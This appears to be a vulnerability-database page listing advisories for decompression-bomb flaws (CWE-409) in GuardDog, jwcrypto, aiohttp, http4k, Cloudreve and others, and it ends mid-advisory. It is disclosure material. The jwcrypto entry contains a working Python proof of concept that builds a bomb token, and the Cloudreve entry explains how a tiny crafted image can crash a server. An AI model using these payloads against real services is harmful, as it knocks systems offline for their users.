GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Common Weakness Enumeration

CWE-409

Allowed

Improper Handling of Highly Compressed Data (Data Amplification)

Abstraction: Base · Status: Incomplete

The product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output.

226 vulnerabilities reference this CWE, most recent first.

GHSA-FFJ4-JQ7M-9G6V

Vulnerability from github – Published: 2026-01-13 21:54 – Updated: 2026-01-13 21:54
VLAI
Summary
GuardDog Zip Bomb Vulnerability in safe_extract() Allows DoS
Details

Summary

GuardDog's safe_extract() function does not validate decompressed file sizes when extracting ZIP archives (wheels, eggs), allowing attackers to cause denial of service through zip bombs. A malicious package can consume gigabytes of disk space from a few megabytes of compressed data.

Vulnerability Details

Affected Component: guarddog/utils/archives.py - safe_extract() function
Vulnerability Type: CWE-409 - Improper Handling of Highly Compressed Data (Zip Bomb)
Severity: HIGH (CVSS ~8)
Attack Vector: Network (malicious package uploaded to PyPI/npm) or local

Root Cause

The safe_extract() function handles TAR files securely using the tarsafe library, but ZIP file extraction has no size validation:

elif zipfile.is_zipfile(source_archive):
    with zipfile.ZipFile(source_archive, "r") as zip:
        for file in zip.namelist():
            zip.extract(file, path=os.path.join(target_directory, file))

Missing protections: - ❌ No decompressed size limit - ❌ No compression ratio validation
- ❌ No file count limits - ❌ No total extracted size validation

Impact

Denial of Service Scenarios

1. CI/CD Pipeline Disruption - Attacker publishes malicious package to PyPI - Developer adds package to requirements.txt - CI/CD runs GuardDog scan - Disk fills (GitHub Actions: standard 14GB limit) - All deployments blocked

2. Resource Exhaustion - Local development environments - Security scanning infrastructure
- Automated scanning systems - Docker containers with limited disk

3. Supply Chain Attack Amplification - Single malicious package blocks security scanning - Prevents detection of other malicious packages - Forces manual intervention - Increases security team workload

Recommended Fix

Add size validation for ZIP files similar to what tarsafe provides for TAR files

Configuration Options

Make limits configurable via environment variables or config file

Additional Improvements

  1. Add warning logs when archives approach limits
  2. Provide clear error messages for users
  3. Document limits in user-facing documentation
  4. Add tests for zip bomb detection
  5. Consider using a safe ZIP library (similar to tarsafe)

Credit

Reported by: Charbel (dwbruijn)

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "guarddog"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.7.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22870"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-13T21:54:41Z",
    "nvd_published_at": "2026-01-13T21:15:55Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nGuardDog\u0027s `safe_extract()` function does not validate decompressed file sizes when extracting ZIP archives (wheels, eggs), allowing attackers to cause denial of service through zip bombs. A malicious package can consume gigabytes of disk space from a few megabytes of compressed data.\n\n## Vulnerability Details\n\n**Affected Component:** `guarddog/utils/archives.py` - `safe_extract()` function  \n**Vulnerability Type:** CWE-409 - Improper Handling of Highly Compressed Data (Zip Bomb)  \n**Severity:** HIGH (CVSS ~8)  \n**Attack Vector:** Network (malicious package uploaded to PyPI/npm) or local\n\n### Root Cause\n\nThe `safe_extract()` function handles TAR files securely using the `tarsafe` library, but ZIP file extraction has no size validation:\n```python\nelif zipfile.is_zipfile(source_archive):\n    with zipfile.ZipFile(source_archive, \"r\") as zip:\n        for file in zip.namelist():\n            zip.extract(file, path=os.path.join(target_directory, file))\n```\n\n**Missing protections:**\n- \u274c No decompressed size limit\n- \u274c No compression ratio validation  \n- \u274c No file count limits\n- \u274c No total extracted size validation\n\n## Impact\n\n### Denial of Service Scenarios\n\n**1. CI/CD Pipeline Disruption**\n- Attacker publishes malicious package to PyPI\n- Developer adds package to requirements.txt\n- CI/CD runs GuardDog scan\n- Disk fills (GitHub Actions: standard 14GB limit)\n- All deployments blocked\n\n**2. Resource Exhaustion**\n- Local development environments\n- Security scanning infrastructure  \n- Automated scanning systems\n- Docker containers with limited disk\n\n**3. Supply Chain Attack Amplification**\n- Single malicious package blocks security scanning\n- Prevents detection of other malicious packages\n- Forces manual intervention\n- Increases security team workload\n\n## Recommended Fix\n\nAdd size validation for ZIP files similar to what `tarsafe` provides for TAR files\n\n### Configuration Options\n\nMake limits configurable via environment variables or config file\n\n## Additional Improvements\n\n1. **Add warning logs** when archives approach limits\n2. **Provide clear error messages** for users\n3. **Document limits** in user-facing documentation\n4. **Add tests** for zip bomb detection\n5. **Consider using a safe ZIP library** (similar to tarsafe)\n\n## Credit\n\nReported by: Charbel (dwbruijn)",
  "id": "GHSA-ffj4-jq7m-9g6v",
  "modified": "2026-01-13T21:54:42Z",
  "published": "2026-01-13T21:54:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/DataDog/guarddog/security/advisories/GHSA-ffj4-jq7m-9g6v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22870"
    },
    {
      "type": "WEB",
      "url": "https://github.com/DataDog/guarddog/commit/c3fb07b4838945f42497e78b7a02bcfb1e63969b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/DataDog/guarddog"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "GuardDog Zip Bomb Vulnerability in safe_extract() Allows DoS"
}

GHSA-FFXC-VW9F-X2CP

Vulnerability from github – Published: 2026-09-15 21:33 – Updated: 2026-09-15 21:33
VLAI
Details

adm-zip versions 0.5.14 through 0.6.0 fail to apply zlib decompression output limits when ZIP entries declare zero uncompressed size. Attackers can craft malicious ZIP archives with highly compressible entries declaring zero size to exhaust memory and cause denial of service.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-92000"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-15T21:16:49Z",
    "severity": "HIGH"
  },
  "details": "adm-zip versions 0.5.14 through 0.6.0 fail to apply zlib decompression output limits when ZIP entries declare zero uncompressed size. Attackers can craft malicious ZIP archives with highly compressible entries declaring zero size to exhaust memory and cause denial of service.",
  "id": "GHSA-ffxc-vw9f-x2cp",
  "modified": "2026-09-15T21:33:06Z",
  "published": "2026-09-15T21:33:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cthackers/adm-zip/security/advisories/GHSA-rcw4-f5rp-g42v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92000"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cthackers/adm-zip/commit/491600683dacb6cb9fe0718a0eeb9cb5eb49afa6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cthackers/adm-zip/commit/8bc411184de1b5ca28138c53074fb61119994dde"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cthackers/adm-zip"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cthackers/adm-zip/blob/v0.6.0/methods/inflater.js"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/adm-zip-0.5.14-through-0.6.0-denial-of-service-via-zero-declared-uncompressed-size"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-FJRM-76X2-C4Q4

Vulnerability from github – Published: 2026-04-08 00:16 – Updated: 2026-06-06 00:25
VLAI
Summary
JWCrypto: JWE ZIP decompression bomb
Details

Summary

The fix for GHSA-j857-7rvv-vj97 in v1.5.6 is weak in that it does not allow to fully control the amount of plaintext the receiver is willing to deal with and provides just a weak upper bound. The patch limits input token size to 250KB but does not validate the decompressed output size. An unauthenticated attacker can craft a JWE token under the 250KB input limit that decompresses to very large data that may exceed small devices memory availability, causing Denial of Service via memory exhaustion.

Although this is technically not unbounded I do recognize that it may be too much for devices and is something that could be surprising to developers, and we can do better than that.

NOTE: the original report was sloppy (probably AI slop) and claimed arbitrary memory consumption, but simple testing showed that while 100MB could be decompressed a 1GB output was denied because the token exceeded the 250K compressed serialization.

NOTE WELL: The proposed solution was also sloppy, proposing to first decompress the data completely in memory (therefore causing the memory exhaustion) and then checking how much memory was already used to deny the operation. I intentionally left the "details" section untouched to show how bad AI slop is and how uncritical the submitter was, even as it was obvious the "suggested fix" is actually no solution at all, as it was using the very call that he claimed was causing "arbitrary" memory exhaustion and wrapping it around an "if" ... the actual solution is in the resolving commit in version 1.5.7

Details

The vulnerable code in jwcrypto/jwe.py:

if len(data) > default_max_compressed_size:
    raise InvalidJWEData('Compressed data exceeds maximum allowed size')
self.plaintext = zlib.decompress(data, -zlib.MAX_WBITS)

The check validates data which is the compressed bytes, not the decompressed output. A 132KB token (under the 250KB limit) can decompress to approximately 100MB with no error raised.

PoC

Tested on jwcrypto 1.5.6 (patched version):

import zlib
from jwcrypto import jwe
from jwcrypto.jwk import JWK
import time

key = JWK.generate(kty='oct', size=128)
bomb_data = b"A" * 1024 * 1024 * 100  # 100MB uncompressed

token = jwe.JWE(
    plaintext=bomb_data,
    protected={"alg": "A128KW", "enc": "A128GCM", "zip": "DEF"}
)
token.add_recipient(key)
serialized = token.serialize(compact=True)
print(f"Token size: {len(serialized)/1024:.1f} KB")  # 132.8 KB — under 250KB limit

tok2 = jwe.JWE()
tok2.deserialize(serialized, key)
print(f"Decompressed: {len(tok2.plaintext)/1024/1024:.0f} MB")  # 100 MB

Output:

Token size: 132.8 KB
Decompressed: 100 MB

Impact

An unauthenticated attacker can exhaust server memory by sending crafted JWE tokens with ZIP compression. The existing patch (v1.5.6) does not prevent this attack. An unauthenticated attacker can cause memory exhaustion on memory-constrained systems. A token under the 250KB input limit can decompress to approximately 100MB.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.5.6"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "jwcrypto"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39373"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-08T00:16:14Z",
    "nvd_published_at": "2026-04-07T20:16:32Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe fix for GHSA-j857-7rvv-vj97 in v1.5.6 is weak in that it does not allow to fully control the amount of plaintext the receiver is willing to deal with and provides just a weak upper bound. The patch limits input token size to 250KB but does not validate the decompressed output size. An unauthenticated attacker can craft a JWE token under the 250KB input limit that decompresses to very large data that may exceed small devices memory availability, causing Denial of Service via memory exhaustion.\n\nAlthough this is technically not unbounded I do recognize that it may be too much for devices and is something that could be surprising to developers, and we can do better than that.\n\nNOTE: the original report was sloppy (probably AI slop) and claimed arbitrary memory consumption, but simple testing showed that while 100MB could be decompressed a 1GB output was denied because the token exceeded the 250K compressed serialization.\n\nNOTE WELL: The proposed solution was also sloppy, proposing to first decompress the data completely in memory (therefore causing the memory exhaustion) and then checking how much memory was already used to deny the operation. I _intentionally_ left the \"details\" section untouched to show how bad AI slop is and how _uncritical_ the submitter was, even as it was obvious the \"suggested fix\" is actually no solution at all, as it was using the very call that he claimed was causing \"arbitrary\" memory exhaustion and wrapping it around an \"if\" ... the actual solution is in the resolving commit in version 1.5.7\n\n### Details\nThe vulnerable code in `jwcrypto/jwe.py`:\n```python\nif len(data) \u003e default_max_compressed_size:\n    raise InvalidJWEData(\u0027Compressed data exceeds maximum allowed size\u0027)\nself.plaintext = zlib.decompress(data, -zlib.MAX_WBITS)\n```\n\nThe check validates `data` which is the **compressed** bytes, not the decompressed output. A 132KB token (under the 250KB limit) can decompress to approximately 100MB with no error raised.\n\n### PoC\nTested on jwcrypto 1.5.6 (patched version):\n```python\nimport zlib\nfrom jwcrypto import jwe\nfrom jwcrypto.jwk import JWK\nimport time\n\nkey = JWK.generate(kty=\u0027oct\u0027, size=128)\nbomb_data = b\"A\" * 1024 * 1024 * 100  # 100MB uncompressed\n\ntoken = jwe.JWE(\n    plaintext=bomb_data,\n    protected={\"alg\": \"A128KW\", \"enc\": \"A128GCM\", \"zip\": \"DEF\"}\n)\ntoken.add_recipient(key)\nserialized = token.serialize(compact=True)\nprint(f\"Token size: {len(serialized)/1024:.1f} KB\")  # 132.8 KB \u2014 under 250KB limit\n\ntok2 = jwe.JWE()\ntok2.deserialize(serialized, key)\nprint(f\"Decompressed: {len(tok2.plaintext)/1024/1024:.0f} MB\")  # 100 MB\n```\n\nOutput:\n```\nToken size: 132.8 KB\nDecompressed: 100 MB\n```\n\n### Impact\nAn unauthenticated attacker can exhaust server memory by sending crafted JWE tokens with ZIP compression. The existing patch (v1.5.6) does not prevent this attack. An unauthenticated attacker can cause memory exhaustion on memory-constrained systems. A token under the 250KB input limit can decompress to approximately 100MB.",
  "id": "GHSA-fjrm-76x2-c4q4",
  "modified": "2026-06-06T00:25:45Z",
  "published": "2026-04-08T00:16:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/latchset/jwcrypto/security/advisories/GHSA-fjrm-76x2-c4q4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39373"
    },
    {
      "type": "WEB",
      "url": "https://github.com/latchset/jwcrypto/commit/25db861d8b29434838669a94a843af03d29ea6ed"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/latchset/jwcrypto"
    },
    {
      "type": "WEB",
      "url": "https://github.com/latchset/jwcrypto/releases/tag/v1.5.7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/jwcrypto/PYSEC-2026-70.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "JWCrypto: JWE ZIP decompression bomb"
}

GHSA-G3CQ-J2XW-WF74

Vulnerability from github – Published: 2026-06-15 20:09 – Updated: 2026-06-15 20:09
VLAI
Summary
aiohttp: Unread Compressed Request Bodies Bypass client_max_size During Cleanup
Details

Summary

During cleanup it is possible for a compressed request body to be decompressed into memory in one chunk.

Impact

An attacker may be able to send a compressed payload in specific situations that could be decompressed into memory, potentially leading to DoS (a zip bomb edge case).

Workaround

Disable compression if unable to upgrade.


Patch: https://github.com/aio-libs/aiohttp/commit/4f7480e474cccc6a8cc2c92ad3f17a31dedf8232

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.14.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "aiohttp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.14.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54278"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-15T20:09:51Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nDuring cleanup it is possible for a compressed request body to be decompressed into memory in one chunk.\n\n### Impact\n\nAn attacker may be able to send a compressed payload in specific situations that could be decompressed into memory, potentially leading to DoS (a zip bomb edge case).\n\n### Workaround\n\nDisable compression if unable to upgrade.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/4f7480e474cccc6a8cc2c92ad3f17a31dedf8232",
  "id": "GHSA-g3cq-j2xw-wf74",
  "modified": "2026-06-15T20:09:51Z",
  "published": "2026-06-15T20:09:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-g3cq-j2xw-wf74"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/aio-libs/aiohttp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "aiohttp: Unread Compressed Request Bodies Bypass client_max_size During Cleanup"
}

GHSA-G3FG-G325-XMH2

Vulnerability from github – Published: 2026-08-18 12:31 – Updated: 2026-08-18 12:31
VLAI
Details

Carbone is vulnerable to Denial of Service due to lack of protection against zip bombs when processing .docx files. The library uses yazl for zip decompression without validating entry sizes, allowing an attacker to supply a malicious .docx file containing a zip bomb that decompresses to a significantly larger size, causing excessive memory consumption and crashing the application server.

The issue was fixed in versions: 3.8.2, 4.26.3 and 5.4.4.  The fix is available across all distribution types.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-18929"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-18T10:16:46Z",
    "severity": "MODERATE"
  },
  "details": "Carbone is vulnerable to Denial of Service due to lack of protection against zip bombs when processing .docx files. The library uses yazl for zip decompression without validating entry sizes, allowing an attacker to supply a malicious .docx file containing a zip bomb that decompresses to a significantly larger size, causing excessive memory consumption and crashing the application server.\n\n\n\n\nThe issue was fixed in versions: 3.8.2, 4.26.3 and 5.4.4.\u00a0\u00a0The fix is available across all distribution types.",
  "id": "GHSA-g3fg-g325-xmh2",
  "modified": "2026-08-18T12:31:20Z",
  "published": "2026-08-18T12:31:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-18929"
    },
    {
      "type": "WEB",
      "url": "https://github.com/carboneio/carbone/commit/eb9b4cff992cc1cb1a319d7fc0cbd09160dc214e"
    },
    {
      "type": "WEB",
      "url": "https://carbone.io"
    },
    {
      "type": "WEB",
      "url": "https://cert.pl/en/posts/2026/08/CVE-2026-18929"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-G4W2-6H2R-3M3W

Vulnerability from github – Published: 2026-08-17 21:52 – Updated: 2026-08-17 21:58
VLAI
Summary
http4k: Unbounded gzip decompression in `ServerFilters.GZip` / `RequestFilters.GunZip` allowed memory-exhaustion DoS
Details

Impact

ServerFilters.GZip and RequestFilters.GunZip (and the underlying Gzip functions used to decompress request bodies) did not impose any cap on the decompressed size. A small malicious gzip-encoded request body (on the order of kilobytes) could decompress to gigabytes, exhausting the JVM heap and denying service to other clients.

Who is affected: any http4k server that accepts gzip-encoded requests via ServerFilters.GZip or RequestFilters.GunZip. Exploitable by any unauthenticated client. The vulnerability was introduced on 2017-08-01 (commit 2618fe08f9) and was present for ~9 years.

Patches

Line Fixed in Edition
v6.x (Community) 6.49.0.0 Community
v5.x (LTS) 5.42.0.0 Enterprise — contact enterprise@http4k.org
v4.x (LTS) 4.51.0.0 Enterprise — contact enterprise@http4k.org

The fix caps decompression at 10MB by default; oversized requests through ServerFilters.GZip / RequestFilters.GunZip now return 413 Request Entity Too Large, and decompressing elsewhere throws SizeLimitExceededException. The keyed hmacSHA256 helper and other safe paths are unaffected.

Workarounds

For deployments that cannot upgrade immediately: - Replace the GZip / GunZip filters with custom versions that wrap the decompressed InputStream in a size-limited reader, or - Strip gzip-encoded request support at the edge (CDN, reverse proxy, or load balancer).

References

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4k:http4k-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0.0"
            },
            {
              "fixed": "6.49.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4k:http4k-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0.0"
            },
            {
              "fixed": "5.42.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4k:http4k-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "4.48.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53659"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-17T21:52:27Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\n\n`ServerFilters.GZip` and `RequestFilters.GunZip` (and the underlying `Gzip` functions used to decompress request bodies) did not impose any cap on the decompressed size. A small malicious gzip-encoded request body (on the order of kilobytes) could decompress to gigabytes, exhausting the JVM heap and denying service to other clients.\n\n**Who is affected:** any http4k server that accepts gzip-encoded requests via `ServerFilters.GZip` or `RequestFilters.GunZip`. Exploitable by any unauthenticated client. The vulnerability was introduced on 2017-08-01 (commit `2618fe08f9`) and was present for ~9 years.\n\n### Patches\n\n| Line | Fixed in | Edition |\n|------|----------|---------|\n| v6.x (Community) | **6.49.0.0** | Community |\n| v5.x (LTS) | **5.42.0.0** | Enterprise \u2014 contact [enterprise@http4k.org](mailto:enterprise@http4k.org) |\n| v4.x (LTS) | **4.51.0.0** | Enterprise \u2014 contact [enterprise@http4k.org](mailto:enterprise@http4k.org) |\n\nThe fix caps decompression at 10MB by default; oversized requests through `ServerFilters.GZip` / `RequestFilters.GunZip` now return `413 Request Entity Too Large`, and decompressing elsewhere throws `SizeLimitExceededException`. The keyed `hmacSHA256` helper and other safe paths are unaffected.\n\n### Workarounds\n\nFor deployments that cannot upgrade immediately:\n- Replace the `GZip` / `GunZip` filters with custom versions that wrap the decompressed `InputStream` in a size-limited reader, or\n- Strip gzip-encoded request support at the edge (CDN, reverse proxy, or load balancer).\n\n### References\n\n- Vulnerability introduced: [`2618fe08f9`](https://github.com/http4k/http4k/commit/2618fe08f9)\n- Fix release: [v6.49.0.0](https://github.com/http4k/http4k/releases/tag/6.49.0.0)\n- Background: [CWE-409 \u2014 Improper Handling of Highly Compressed Data](https://cwe.mitre.org/data/definitions/409.html)",
  "id": "GHSA-g4w2-6h2r-3m3w",
  "modified": "2026-08-17T21:58:23Z",
  "published": "2026-08-17T21:52:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/http4k/http4k/security/advisories/GHSA-g4w2-6h2r-3m3w"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/http4k/http4k"
    },
    {
      "type": "WEB",
      "url": "https://github.com/http4k/http4k/releases/tag/6.49.0.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "http4k: Unbounded gzip decompression in `ServerFilters.GZip` / `RequestFilters.GunZip` allowed memory-exhaustion DoS"
}

GHSA-G5C7-6MFQ-QVC9

Vulnerability from github – Published: 2025-05-02 03:30 – Updated: 2025-05-02 03:30
VLAI
Details

IBM Concert Software 1.0.0 through 1.0.5 could allow an authenticated user to cause a denial of service due to the expansion of archive files without controlling resource consumption.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-55909"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-02T01:15:52Z",
    "severity": "MODERATE"
  },
  "details": "IBM Concert Software 1.0.0 through 1.0.5 could allow an authenticated user to cause a denial of service due to the expansion of archive files without controlling resource consumption.",
  "id": "GHSA-g5c7-6mfq-qvc9",
  "modified": "2025-05-02T03:30:34Z",
  "published": "2025-05-02T03:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-55909"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7232169"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G9J2-8W95-3VWV

Vulnerability from github – Published: 2026-07-24 20:48 – Updated: 2026-07-24 20:48
VLAI
Summary
Cloudreve: Denial of Service - Image decompression / pixel bomb in thumbnail & avatar decoding crashes the server
Details

Summary

Cloudreve's built-in image processor decodes user-supplied images with Go's standard-library decoders (image/png, image/jpeg, image/gif) and guards only the compressed file size — never the decoded pixel dimensions. Go's decoders allocate a pixel buffer sized bytesPerPixel × width × height taken straight from the image header (e.g. a PNG's IHDR), with no upper bound on width/height. A tiny (tens-of-bytes) image that declares enormous dimensions therefore forces a multi-gigabyte-to-terabyte allocation (make([]uint8, …)), exhausting memory. The resulting out-of-memory condition is a fatal Go runtime error / kernel OOM-kill that recover() cannot catch, terminating the whole Cloudreve process for all users.

Two reachable sinks share the same root cause:

  1. Avatar upload (PUT /api/v4/user/setting/avatar) — decodes synchronously in the request handler. Any authenticated user. Cleanest single-request PoC.
  2. Thumbnail generation (built-in generator, enabled by default) — decodes in the thumbnail queue worker. Reachable for the user's own files and for files inside a share, so a planted bomb can be (re)triggered through a public share link.

Post-auth, low privilege. A single 65-byte upload deterministically takes the instance offline.

Details

Root cause — decode guarded by file size, not pixel count

The built-in generator is the default image thumbnailer:

// inventory/setting.go  @ 26b6b10
"thumb_builtin_enabled":   "1",         // ON by default
"thumb_builtin_max_size":  "78643200",  // 75 MB — a *file size* cap
"thumb_vips_enabled":      "0",         // libvips (which has its own limits) OFF by default
...
"avatar_size":             "4194304",   // 4 MB — a *file size* cap

Builtin.Generate checks the on-disk/entity size, then hands the raw bytes to the stdlib decoders:

// pkg/thumb/builtin.go:144-152  @ 26b6b10
func (b Builtin) Generate(ctx context.Context, es entitysource.EntitySource, ext string, previous *Result) (*Result, error) {
    if es.Entity().Size() > b.settings.BuiltinThumbMaxSize(ctx) {   // 75 MB compressed-size check ONLY
        return nil, fmt.Errorf("file is too big: %w", ErrPassThrough)
    }
    img, err := NewThumbFromFile(es, ext)   // <-- decode; allocation happens here
    ...
}

// pkg/thumb/builtin.go:34-60  @ 26b6b10
func NewThumbFromFile(file io.Reader, ext string) (*Thumb, error) {
    switch ext {
    case "jpg", "jpeg": img, err = jpeg.Decode(file)
    case "gif":         img, err = gif.Decode(file)
    case "png":         img, err = png.Decode(file)   // <-- unbounded allocation
    ...
    }
}

There is no image.DecodeConfig pre-check and no dimension/pixel cap anywhere on the path. The only Bounds()/MaxWidth references in the package (builtin.go:70,92,125, avatar_size_l=200) act on the already-decoded image and are the output resize target — they execute long after the oversized input buffer has been allocated.

Why the allocation is unbounded (Go stdlib image/png)

Go's PNG reader takes the dimensions verbatim from IHDR and rejects only non-positive values — there is no maximum:

// Go src/image/png/reader.go — parseIHDR
w := int32(binary.BigEndian.Uint32(d.tmp[0:4]))
h := int32(binary.BigEndian.Uint32(d.tmp[4:8]))
if w <= 0 || h <= 0 { return FormatError("non-positive dimension") }   // only guard
d.width, d.height = int(w), int(h)

On the first IDAT, readImagePass allocates the destination image before consuming the compressed pixel data, e.g. for colour-type 6 (RGBA, 8-bit):

// Go src/image/png/reader.go — readImagePass
nrgba = image.NewNRGBA(image.Rect(0, 0, width, height))   // make([]uint8, 4*width*height)

image.NewNRGBApixelBufferLengthmul3NonNeg(4, w, h) only guards against integer overflow (returns −1, which panics), not against huge-but-valid sizes. So any 4·w·h that fits in an int and is below the runtime's maxAlloc (~2⁴⁸ on amd64) proceeds to make([]uint8, 4·w·h). The allocation occurs even if the IDAT stream is empty/truncated, so the malicious file needs no real pixel data.

jpeg.Decode (allocates the YCbCr/RGBA buffer from the SOF/SOS dimensions, max 65535×65535 → up to ~17 GB) and gif.Decode (allocates from the logical-screen / frame dimensions) are affected the same way.

Why this is a fatal crash, not a handled error

For realistic bomb sizes (GBs–hundreds of GBs, all < maxAlloc), make proceeds and the process dies by one of: - Kernel OOM-killer sends SIGKILL when the touched pages can't be backed — not catchable by anything; or - the Go runtime throw("out of memory") — a fatal error, not a recoverable panic, so gin.Recovery() does not save it.

(Only the integer-overflow branch yields a recoverable panic; a competent attacker stays in the fatal-OOM regime, as the PoC does.)

Reachability of each sink

Avatar (synchronous, in the HTTP handler):

// routers/router.go:1269  @ 26b6b10  (under auth.Use(LoginRequired()) → user group)
setting.PUT("avatar", middleware.RequiredScopes(types.ScopeUserInfoWrite), controllers.UploadAvatar)

// service/user/setting.go:158-217  @ 26b6b10
func UpdateUserAvatar(c *gin.Context) error {
    ...
